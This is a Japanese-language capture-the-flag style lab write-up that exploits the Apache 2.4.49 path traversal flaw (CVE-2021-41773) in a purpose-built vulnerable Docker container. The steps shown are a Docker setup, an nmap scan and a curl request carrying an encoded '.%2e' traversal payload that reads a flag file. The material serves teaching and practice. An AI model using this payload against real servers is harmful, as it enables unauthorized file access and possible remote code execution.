
Apache 2.4.49のパストラバーサル(CVE-2021-41773)をDocker、Nmapスキャン、curlを使用して悪用し、フラグを取得するハンズオンラボ。
Apache HTTP Server 2.4.49 のパス正規化に対する変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外部にあるファイルに URL をマッピングできる可能性があります。これらのディレクトリの外部にあるファイルが通常のデフォルト設定「require all denied」によって保護されていない場合、これらのリクエストは成功する可能性があります。また、これらのエイリアス化されたパスに対して CGI スクリプトが有効になっている場合、リモートコード実行が可能になる可能性があります。この問題は Apache 2.4.49 のみに影響し、それ以前のバージョンには影響しません。
クレジットの紹介: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
この演習の目的は、Apache 2.4.49 に存在する脆弱性を悪用することです。これを悪用するには、「パストラバーサル攻撃」を利用して、事前設定されたフォルダの外部にあるファイルをマッピングし、一種のリモートシェルを作成する必要があります。
この演習では、docker hub にある専用の脆弱な docker を使用すると便利です:
リンク: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

プルした docker イメージを確認するには:
$docker images
ポート 8080 で docker を実行します:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
実際に実行されていることを確認するには:
$docker ps

見ての通り、web サーバーは完全に機能しています:

スキャン段階 (ホストからできるだけ多くの情報を収集します):

列挙段階 (スキャン段階で見つかったポートを列挙して情報を詳しく調べます):
$nmap -sV -sC -oA versionScan localhost

攻撃を実行するには、このコマンドを実行してフラグを見つける必要があります (ルートに配置されている場合):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

演習が成功したことを確実にし、フラグが実際に見つかったものであることを確認するには、その文字列を Md5 での復号化結果 ("HaiTrovatoLaFlag_Apache") と比較します。2 つの文字列が一致すれば、完了です!